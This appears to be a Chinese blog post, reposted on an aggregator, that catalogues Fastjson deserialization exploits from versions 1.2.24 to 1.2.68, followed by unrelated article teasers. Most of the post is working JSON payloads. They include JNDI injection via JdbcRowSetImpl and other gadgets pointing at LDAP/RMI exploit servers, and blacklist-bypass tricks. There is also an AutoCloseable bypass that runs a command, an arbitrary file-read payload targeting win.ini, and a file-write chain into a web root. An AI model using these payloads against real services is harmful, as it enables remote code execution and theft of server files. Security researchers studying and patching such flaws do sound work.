Fastjson历史版本记录

news2025/6/22 1:08:20

1.2.24

TemplatesImpl,利用条件苛刻,需要开启Feature.SupportNonPublicField

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQA...CJAAk="],
    "_name": "pwn",
    "_tfactory": {},
    "_outputProperties": {},
}

JdbcRowSetImpl利用链的JDNI注入,有RMI和LDAP两种利用方式,不过有JDK版本限制,具体见JNDI。

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}


{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "databaseMetaData":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.25

25版本引入了checkAutoType的机制,默认情况下autoTypeSupport关闭,不能直接反序列化任意类,检测方式是先黑名单检测,后加载白名单中存在的类:

如果autoTypeSupport打开的情况,是先加载白名单中存在的类,后黑名单检测:

之后,如果autoTypeSupport打开,并且指定了反序列化的类exceptClass,会进入loadClass方法:

跟进这个方法,这里对类名中的一些特殊字符做了处理,然后递归调用loadClass:

所以可以利用这个特性,在autoTypeSupport打开,并且指定反序列化的类exceptClass的情况下,为黑名单中的类加上这些字符,就能绕过黑名单的检测。

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

// another
{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "databaseMetaData":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.42

42版本中开发人员将明文黑名单改成了hash黑名单,已经有人碰撞出了不少,意义不大;在处理25黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring处理一下:

双写即可绕过:

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.43

针对42版本中的双写绕过,43中解决的方法是套了一个子判断:

随后安全研究人员将目光投入了在loadClass中也同样被处理的 '[' 字符:

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

1.2.44

44版本针对43版本的绕过作了处理,如果类名以 [ 开头则会直接抛出异常:

1.2.45

45版本为黑名单绕过:

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

1.2.47

47版本下出现了不开启autoTypeSupport的绕过,绕过方式是第一轮扫描先通过Class类把JdbcRowSetImpl加入mapping缓存,第二轮扫描的时候直接从缓存中获取类,从而绕过的黑名单的检测。

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Exploit",
        "autoCommit":true
    }
}

关于版本:

  • 在1.2.25 ~ 32中,未开启autoTypeSupport的情况下可以利用成功,开启之后反而无法利用
  • 在1.2.33 ~ 47中,无论是否开启autoTypeSupport都可以利用

关于版本问题的原因还是在checkAutoType方法中,在开启了autoTypeSupport情况下:

对于黑名单的判读逻辑不一样,33版本之后多加了一个条件,就是从缓存的mapping中获取待加载的类,第一轮扫描把JdbcRowSetImpl加入了缓存,对于33版本之后第二轮扫描JdbcRowSetImpl的时候这个条件为true,就绕过的黑名单的检测,而33版本之前由于没有这一个条件,所以会抛出异常。

在没有开启autoTypeSupport的情况下,不会进入到第一个if条件中去,Class类在这个被找到:

之后会提取json文本中的 "var" 的值,然后放到缓存mapping中,第二轮扫描的时候通过TypeUtils#getClassFromMapping直接获取到了JdbcRowSetImpl。


1.2.62

需要开启AutoType;需要服务端存在xbean-reflect包;JNDI注入受JDK版本的影响。

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://localhost:1389/Exploit"
}

1.2.66

Fastjson1.2.6 6 远程代码执行漏洞分析复现含 4 个 Gadget 利用 Poc 构造 (seebug.org)

黑名单绕过,都需要开启AutoType。

{    "@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "Realms": [        ""    ]}
{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "metricRegistry": "ldap://localhost:1389/Exploit"}{    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",    "healthCheckRegistry": "ldap://localhost:1389/Exploit"}
{    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",    "properties": {        "@type": "java.util.Properties",        "UserTransaction": "ldap://localhost:1389/Exploit"    }}

1.2.67

黑名单绕过,需要开启AutoType。

{    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",    "jndiNames": [        "ldap://localhost:1389/Exploit"    ],    "tm": {        "$ref": "$.tm"    }}
{    "@type": "org.apache.shiro.jndi.JndiObjectFactory",    "resourceName": "ldap://localhost:1389/Exploit",    "instance": {        "$ref": "$.instance"    }}

1.2.68

48版本把缓存开关默认这只为了false,从而避免了通过加载恶意类到缓存mapping中的绕过方式。

直到68版本之后出现了新的安全控制点safeMode,如果开启,在checkAtuoType的时候会直接抛出异常:

对于开了safeMode的站基本不用看了✔

此外这个版本提出了一种针对expectClass的绕过,其思路是利用checkAutoType方法的expectClass参数,先传入某个类作为expectClass,再传入另一个expectClass或者其子类来进行绕过(expectClass不在黑名单中):

AutoCloseable(无需AutoType)

根据网上公开的分析文章来看,主要是利用了java.lang.AutoCloseable接口,这个接口内置在Fastjson的白名单中,方便复现,假设服务器存在一个恶意的AutoCloseable实现类:

package v_68;import java.io.IOException;public class A implements AutoCloseable{    public A() throws IOException {        Runtime.getRuntime().exec("calc");    }    @Override    public void close() throws Exception {    }}

POC如下:

{"@type":"java.lang.AutoCloseable","@type":"v_68.A"}

调试分析

在第一次checkAutoType方法的检测中,传入的expectClass为null,检验的类为java.lang.AutoCloseable:

如果开启了autoTypeSupport,那么会从TypeUtils中直接加载返回:

如果没有开启autoTypeSupport,会从缓存mapping处获取之后返回(java.lang.AutoCloseable默认在缓存mapping中):

回到parseObject方法中,再往下走,Fastjson根据第一次执行checkAutoType方法返回的class获取相应的deserializer,可以看到AutoCloseable类获取的deserializer为JavaBeanDeserializer:

> 再往后跟代码比较冗长,主要是Fastjson词法分析的过程,捡几个重点说。

首先会从json字符串中匹配AutoCloseable的成员变量,如果匹配不到则继续往后扫描json字符串,提取下一个key:

拿到@type的值之后进入第二遍checkAutoType,此时expectClass正好是java.lang.AutoCloseable:

接上文,成功绕过checkAutoType,之后会默认调用无参构造方法来构建JavaBean。

SafeFileOutputStream

<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>

用到的类是org.eclipse.core.internal.localstore.SafeFileOutputStream,在它的构造方法里:

利用这个特点可以实现任意文件读:

{    "@type":"java.lang.AutoCloseable",    "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",    "tempPath": "C:/Windows/win.ini",    "targetPath": "C:/Users/45258/Desktop/IdeaProjects/JavaStudy/fastjson/1.txt"}

Output

<dependency>    <groupId>com.esotericsoftware</groupId>    <artifactId>kryo</artifactId>    <version>4.0.0</version></dependency>

用到的类是com.esotericsoftware.kryo.io.Output,这个类的setOutputStream和setBuffer可以控制写入的流和写入的数据;在flush方法中触发了文件内容写入:

在require方法中触发了flush方法,在write相关方法中触发了require方法:

在JDK自带的ObjectOutputStream中有参构造方法中:

setBlockDataMode方法会触发drain方法,drain方法会触发wirte方法:

于是可以把out赋值成Output类的实例,直到触发flush方法。

但是Fastjson有一个特性就是在构建JavaBean的时候默认调用的是无参构造方法,所以想要调用ObjectOutputStream的有参构造方法,就只能靠其子类来调用,这里一个可用的类是SerialOutput,依赖如下:

<dependency>    <groupId>com.sleepycat</groupId>    <artifactId>je</artifactId>    <version>5.0.73</version></dependency>

在这个类唯一的构造方法中调用了其父类(ObjectOutputStream)的有参构造方法,所以一条Gadget就构造完成了:

write:126, SafeFileOutputStream (org.eclipse.core.internal.localstore)write:116, OutputStream (java.io)flush:185, Output (com.esotericsoftware.kryo.io)require:164, Output (com.esotericsoftware.kryo.io)writeBytes:251, Output (com.esotericsoftware.kryo.io)write:219, Output (com.esotericsoftware.kryo.io)drain:1877, ObjectOutputStream$BlockDataOutputStream (java.io)setBlockDataMode:1786, ObjectOutputStream$BlockDataOutputStream (java.io)<init>:247, ObjectOutputStream (java.io)<init>:73, SerialOutput (com.sleepycat.bind.serial)

至于为什么Output类中可控的写入的流选用了SafeFileOutputStream类,原因有以下几点:

  • 实现了java.lang.AutoCloseable接口,可以绕过checkAutoType
  • 在其构造方法处根据传入的targetPath和tempPath实现了FileOutputStream的初始化

  • 通过控制这两条路径就能向文件中写入内容

这个Exp利用了Fastjson中的循环引用:

{    "stream": {        "@type": "java.lang.AutoCloseable",        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",        "targetPath": "D:/wamp64/www/hacked.txt",        "tempPath": "D:/wamp64/www/test.txt"    },    "writer": {        "@type": "java.lang.AutoCloseable",        "@type": "com.esotericsoftware.kryo.io.Output",        "buffer": "cHduZWQ=",        "outputStream": {            "$ref": "$.stream"        },        "position": 5    },    "close": {        "@type": "java.lang.AutoCloseable",        "@type": "com.sleepycat.bind.serial.SerialOutput",        "out": {            "$ref": "$.writer"        }    }}

在这里我本来想用JDK原生的java.io.FileOutputStream来代替SafeFileOutputStream,但是却出现了下面的错误:

具体问题研究以及解决:问题记录 (wolai.com)

Throwable(AutoType开启)

@type指定为java.lang.Throwable的时候获取到的deserializer为ThrowableDeserializer:

在ThrowableDeserializer#deserialze方法中指定了checkAutoType方法的入参expectClass为Throwable.class:

但是这个类没有找到合适的Gadget,先留着以后再说。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1086567.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

光通路数据单元(ODU),ODUk,同步传送模块(STM),虚容器(VC)等级

文章目录 ODUk同步传送模块&#xff0c;STM虚容器&#xff0c;VC时隙 光通路 数据 单元(ODU&#xff0c;Optical channel data unit) 提供与信号无关的连通性&#xff0c;连接保护和监控等功能&#xff0c;这一层也叫数据通道层。 ODUk&#xff0c;k值越大&#xff0c;帧周期越…

SpringBootCms

SpringBootCMS&#xff0c;极速开发&#xff0c;动态添加字段&#xff0c;自定义标签&#xff0c;动态创建数据库表并crud数据&#xff0c;数据库备份、还原&#xff0c;动态添加站点(多站点功能)&#xff0c;一键生成模板代码&#xff0c;让您轻松打造自己的独立网站&#xff…

spark读取hive表字段,区分大小写问题

背景 spark任务读取hive表&#xff0c;查询字段为小写&#xff0c;但Hive表字段为大写&#xff0c;无法读取数据 问题错误: 如何解决呢&#xff1f; In version 2.3 and earlier, when reading from a Parquet data source table, Spark always returns null for any column …

高防CDN:网络安全的锁与钥匙

深度解析高防CDN原理 高防CDN&#xff0c;一门整合防护与分发功能的互联网安全技术&#xff0c;以卓越之姿应对DDoS攻击等网络威胁&#xff0c;巧妙地辨识和过滤访问源地址&#xff0c;以保障用户畅通访问和服务的稳定。其核心原理包括&#xff1a; 流量清洗&#xff1a; 高防C…

mysql数据库语法改造成dm数据库DATE_SUB

给了一个任务就是把一个项目用dm数据库正常跑起来&#xff0c;真的难呀&#xff0c;项目原本是使用的mysql、 问题寻找 dm数据库保存&#xff0c;我看mysql跑的挺好的&#xff0c;然后开始找原因。 其中还没有看懂这两个函数&#xff0c;特意搜了搜 LAST_DAY 取最后一天 DATE_…

社区投稿| 以安全视角,深度剖析 Sui Staking 与 LSD

本篇技术研报由 MoveBit 研究团队的 Jason 撰写 #1 Sui Staking 介绍 1.1 Sui 网络概述 Sui 网络由一组独立的验证者运行&#xff0c;每个验证者在自己的机器或集群上运行独立的 Sui 软件实例。 Sui 采用委托权益证明&#xff08;DPoS&#xff09;来确定哪些验证者参与网络…

Bootstrap的下拉菜单组件相关知识

Bootstrap的下拉菜单组件依赖于第三方popper.js插件实现&#xff0c;popper.js插件提供了动态定位和浏览器窗口大小监测&#xff0c;所以在使用下拉菜单时确保引入了popper.js文件&#xff0c;并且要放在引用Bootstrap.js文件之前前。 目录 01-下拉菜单基本结构02-分裂式下拉菜…

世和基因NGS大Panel IVD产品获批上市

近日&#xff0c;国家药品监督管理局&#xff08;NMPA&#xff09;通过创新医疗器械特别审批&#xff0c;批准世和基因旗下南京世和医疗器械有限公司的非小细胞肺癌组织TMB检测试剂盒&#xff08;可逆末端终止测序法&#xff09;&#xff08;国械注准20233401452&#xff09;上…

验收测试的关键步骤您知道吗

验收测试是软件开发生命周期中的重要环节&#xff0c;用于验证项目交付是否符合用户需求和质量标准。本文将介绍验收测试的定义及实施验收测试的关键步骤。 一、验收测试的定义和目标 确保项目交付质量&#xff1a;通过主动验证和评估软件系统的功能、性能和质量&#xff0c;确…

JS调试技巧

插桩导出全局变量 在代码段中导出运行 1.先找到需要的调试的函数 2.删除逗号给后面的变量加VAR 3.用个window.变量去接收需要的函数&#xff0c;让他变成全局变量 4.直接执行 window.wang.md5(123123213123) eval&#xff0c;AA&#xff0c;OO,JJ导出混淆参数 重写evel…

虚拟机独立 IP 配置

虚拟机独立 IP 配置 1. 点击虚拟网络编辑器 2. 点击更改设置 3. 查看本地电脑网卡型号并设置虚拟网络编辑器桥接网卡为同型号网卡 4. 设置有限网络信息 5. 点击网络编辑按钮并点击身份 6. 编辑名称并选择MAC地址 7. 配置 IPv4 地址后点击应用即可

2021上海市赛【10.10训练补题】

Dashboard - The 2021 Shanghai Collegiate Programming Contest - Codeforces 参考题解&#xff1a;2021CCPC上海省赛题解ABCDEGHIJK_2021ccpc上海题解_Hytidel的博客 A. 小 A 的点面论&#xff08;数学几何&#xff09; 题解&#xff1a;求平面的法向量&#xff08;外积法…

sshpass传输文件提示Host key verification failed.

1. sshpass功能简述 sshpass指令可用于A服务器向B服务器传输文件或执行某些指令。 2. 传输文件指令 基本传输命令&#xff1a;sshpass -p 远程服务器登录密码 scp 本地路径文件 远程服务器登录用户名远程服务器IP地址:远程服务器文件保存路径 示例&#xff1a; sshpass -p 1…

HVV行动是什么?网络安全的重要布局!

1 什么是HVV行动 “HVV行动” 是国家应对网络安全问题所做的重要布局之一&#xff0c;是由政府统一组织的"网络安全实战攻防演习&#xff0c;通过与进攻方的对抗&#xff0c;企事业单位网络、系统以及设备等的安全能力会大大提高。 2 发展 “HVV行动”从2016年开始&#…

基于R和gephi做宏基因组与代谢组等多组学联合network相关性网络图

写在前面 拿到多组学的数据后一直在找合适的方法将二者进行关联&#xff0c;比如我这里是三种体液的代谢组与一种体液的宏基因组。需求是对多组学进行关联分析&#xff0c;直到最近看到不少文章里利用Gephi将相关性表格进行可视化的图&#xff0c;效果还不错&#xff0c;于是写…

拼多多商品品牌数据接口,拼多多商品详情数据接口,拼多多优惠券数据接口,拼多多API接口

拼多多商品品牌数据采集方法如下&#xff1a; 手动数据采集。直接在拼多多平台上搜索并手动复制商品数据&#xff0c;适合采集小批量的商品数据&#xff0c;但不适用于大规模数据采集。手动采集需要手动输入搜索词&#xff0c;进行筛选后再复制所需的数据&#xff0c;该方法需…

mybaits入门实验

实验准备 创建数据库和数据表sql语句&#xff0c;代码如下所示。 CREATE DATABASE mybait_demo; USE mybait_demo;CREATE TABLE tb_student( sno INT AUTO_INCREMENT PRIMARY KEY, student_name VARCHAR(20) NULL, student_age INT NULL );给表中插入四条数据…

2023年09月 C/C++(三级)真题解析#中国电子学会#全国青少年软件编程等级考试

C/C编程&#xff08;1~8级&#xff09;全部真题・点这里 Python编程&#xff08;1~6级&#xff09;全部真题・点这里 第1题&#xff1a;谁是你的潜在朋友 “臭味相投”——这是我们描述朋友时喜欢用的词汇。两个人是朋友通常意味着他们存在着许多共同的兴趣。然而作为一个宅男&…

【操作系统】BIOS开机自检

一.BIOS的基本功能 BIOS 全称 Basic Input/Output System&#xff0c;中文可译为基本输入/输出系统。电脑在按下电源键后的第一反应就是执行BIOS这个程序。之所以会被称之为“基本”&#xff0c;是因为它主要负责了一些开启计算机所需要最最基本的东西&#xff0c;其它更加复杂…

Visual Studio配置OpenCV(保姆及教程)

Visual Studio配置OpenCV OpenCV安装Visual Studio安装Visual Studio配置OpenCV OpenCV安装 OpenCV安装地址&#xff0c;点击进行下载 二话不说&#xff0c;直接最新版本&#xff0c;安装挺简单的这里就不进行叙述了&#xff0c;安装完后记住安装地址。 打开你的安装目录&#…